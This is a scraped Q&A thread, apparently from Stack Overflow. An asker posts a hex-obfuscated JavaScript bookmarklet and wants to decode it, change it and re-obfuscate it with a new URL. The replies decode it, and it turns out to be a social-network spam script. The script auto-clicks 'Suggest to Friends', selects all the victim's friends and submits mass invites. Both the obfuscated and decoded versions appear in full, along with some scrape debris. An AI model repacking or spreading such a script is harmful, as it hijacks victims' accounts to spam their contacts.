I have a javascript code that appears to be encrypted:
javascript:var _0xe788=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x36\x38\x37\x38\x34\x39\x34\x39\x39\x32\x36\x35\x37\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x67\x6F\x6F\x67\x开发者_StackOverflow6C\x65\x2E\x63\x6F\x6D\x22\x20\x73\x74\x79\x6C\x65\x3D\x22\x77\x69\x64\x74\x68\x3A\x20\x38\x32\x30\x70\x78\x3B\x20\x68\x65\x69\x67\x68\x74\x3A\x20\x36\x30\x30\x70\x78\x3B\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x30\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];var variables=[_0xe788[0],_0xe788[1],_0xe788[2],_0xe788[3],_0xe788[4],_0xe788[5],_0xe788[6],_0xe788[7],_0xe788[8],_0xe788[9],_0xe788[10],_0xe788[11],_0xe788[12],_0xe788[13]]; void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true); void ss[variables[9]](c); void setTimeout(function (){fs[variables[10]]();} ,4000); void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000); void (document[variables[2]](variables[1])[variables[0]]=_0xe788[14]);
I have seen similar instances and I have heard it may be Hex. I have been doing some google research and have found some online deciphers for Hex yet they all seem to struggle decrypting the code.
I basically need to decipher this code, change some variables and repack it exactly how I found it but replacing a URL. How can I go about this? Are there any free online tools available?
Many thanks.
I removed the javascript: from the beginning of the code and replaced " with ", as this was clearly taken from the internals of an HTML tag. Then I ran it through the Online JavaScript Beautifier and got this, which should be a little more helpful:
var variables = ['innerHTML', 'app4949752878_body', 'getElementById', '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=116878494992657" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>', 'suggest', 'MouseEvents', 'createEvent', 'click', 'initEvent', 'dispatchEvent', 'select_all', 'sgm_invite_form', '/ajax/social_graph/invite_dialog.php', 'submitDialog'];
void(document[variables[2]](variables[1])[variables[0]] = variables[3]);
var ss = document[variables[2]](variables[4]);
var c = document[variables[6]](variables[5]);
c[variables[8]](variables[7], true, true);
void ss[variables[9]](c);
void setTimeout(function () {
fs[variables[10]]();
}, 4000);
void setTimeout(function () {
SocialGraphManager[variables[13]](variables[11], variables[12]);
}, 5000);
void(document[variables[2]](variables[1])[variables[0]] = '<iframe src="google.com" style="width: 820px; height: 600px;" frameborder=0 scrolling="no"></iframe>');
void (document.getElementById('app4949752878_body').innerHTML='<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=116878494992657" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>';);
var ss=document.getELementById('suggest');
var c=document.createEvent('MouseEvents');
c.dispatchEvent('click',true,true);
void ss.select_all(c);
void setTimeout(function (){fs.dispatchEvent();} ,4000);
void setTimeout(function (){SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php');} ,5000);
void (document.getElementById('app4949752878_body').innerHTML='<iframe src="google.com" style="width: 820px; height: 600px;" frameborder=0 scrolling="no"></iframe>');
Here's an old page I wrote a long time ago that's handy for dealing with bookmarklets: http://gutfullofbeer.net/escape.html
It's really trivial but I find a use for it every once in a while. (Wouldn't directly help with that code, however, because it wouldn't undo that silly hex encoding stuff.)
You should read this : http://translate.google.fr/translate?hl=fr&sl=fr&tl=en&u=http://www.siteduzero.com/tutoriel-3-167589-les-bookmarklets-ou-comment-modifier-la-page-d-un-site-depuis-la-barre-d-adresse.html#ss_part_3 Using vois really isn't the better way preventing the browser from catching the return value. Closures are much better. Moreover because they prevent bookmarklets from putting global vars.
加载中,请稍侯......
精彩评论